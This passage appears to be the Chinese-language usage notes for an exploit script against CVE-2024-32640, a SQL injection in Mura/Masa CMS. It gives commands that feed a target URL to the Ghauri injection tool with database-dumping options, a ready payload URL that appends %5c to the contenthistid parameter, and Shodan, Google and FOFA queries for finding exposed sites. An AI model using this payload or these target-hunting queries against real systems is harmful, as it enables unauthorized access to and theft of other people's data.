python3 CVE-2024-32640.py --url https://target.com/
传入任何你想要与 Ghauri 一起使用的参数,遵循其参数列表:
python3 CVE-2024-32640.py --url https://target.com -g "--dbs --current-db"
python3 CVE-2024-32640.py --url https://target.com --ghauri "--dbs --current-db"

利用我在工具中实现的检测功能,我们可以使用易受攻击的目标在 Ghauri 中进行利用。该脚本自动化了这一过程,将所有需要的目标信息解析到对 Ghauri 的调用中。

通过将转义序列(%5c)附加到 contenthisid HTML 查询参数值后,我们可以验证目标是否易受此 SQL 注入攻击。
成功利用可能导致未授权访问敏感数据。
URL: https://target.com/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x
Shodan-query: 'Generator: Masa CMS'
Google: "powered by Mura CMS"
FOFA: app="Mura-CMS"
https://twitter.com/HunterMapping/status/1790620695371911388